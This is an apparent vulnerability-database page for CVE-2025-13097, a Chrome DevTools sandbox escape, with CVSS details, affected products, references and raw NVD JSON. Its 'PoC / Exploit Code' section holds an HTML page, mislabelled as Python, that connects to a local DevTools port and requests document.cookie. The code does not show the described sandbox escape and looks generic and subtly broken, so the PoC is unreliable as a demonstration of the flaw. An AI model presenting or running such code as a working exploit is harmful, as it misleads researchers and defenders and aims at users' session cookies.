CVE-2025-13097

Description

Inappropriate implementation in DevTools in Google Chrome prior to 136.0.7103.59 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 136.0.7103.59

Chromium-based browsers < 136.0.7103.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-13097 PoC - Chrome DevTools Sandbox Escape -->
<!DOCTYPE html>
<html>
<head>
    <title>DevTools Security Test</title>
</head>
<body>
    <h1>Chrome DevTools Vulnerability Test</h1>
    <p>This is a demonstration of the DevTools sandbox escape vulnerability.</p>
    <button onclick="triggerDevTools()">Open DevTools Connection</button>
    
    <script>
        function triggerDevTools() {
            // Attempt to establish connection to DevTools protocol
            // This PoC demonstrates the concept of DevTools manipulation
            try {
                // Create a WebSocket connection to DevTools
                // In vulnerable versions, this could bypass security restrictions
                const ws = new WebSocket('ws://localhost:9222/json');
                
                ws.onopen = function() {
                    console.log('DevTools connection established');
                    // Attempt to execute commands through DevTools protocol
                    ws.send(JSON.stringify({
                        id: 1,
                        method: 'Runtime.evaluate',
                        params: {
                            expression: 'document.cookie',
                            returnByValue: true
                        }
                    }));
                };
                
                ws.onmessage = function(event) {
                    console.log('Response:', event.data);
                };
                
                ws.onerror = function(error) {
                    console.error('Connection error:', error);
                };
            } catch (e) {
                console.error('Error:', e);
            }
        }
        
        // Auto-trigger on page load for testing
        // window.onload = triggerDevTools;
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13097
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13097
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13097/
[4] VulDB https://vuldb.com/cve/CVE-2025-13097
[5] https://chromereleases.googleblog.com/2025/04/stable-channel-update-for-desktop_29.html
[6] https://issues.chromium.org/issues/402791076

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13097", "sourceIdentifier": "[email protected]", "published": "2025-11-14T03:15:56.443", "lastModified": "2025-11-17T12:23:36.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in DevTools in Google Chrome prior to 136.0.7103.59 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "136.0.7103.59", "matchCriteriaId": "D17DB57F-A41C-4EED-A254-FC88BF42FBB6"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "136.0.7103.48", "matchCriteriaId": "BE27FC5D-F829-489D-B54E-07E00B2E5997"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/04/stable-channel-update-for-desktop_29.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/402791076", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}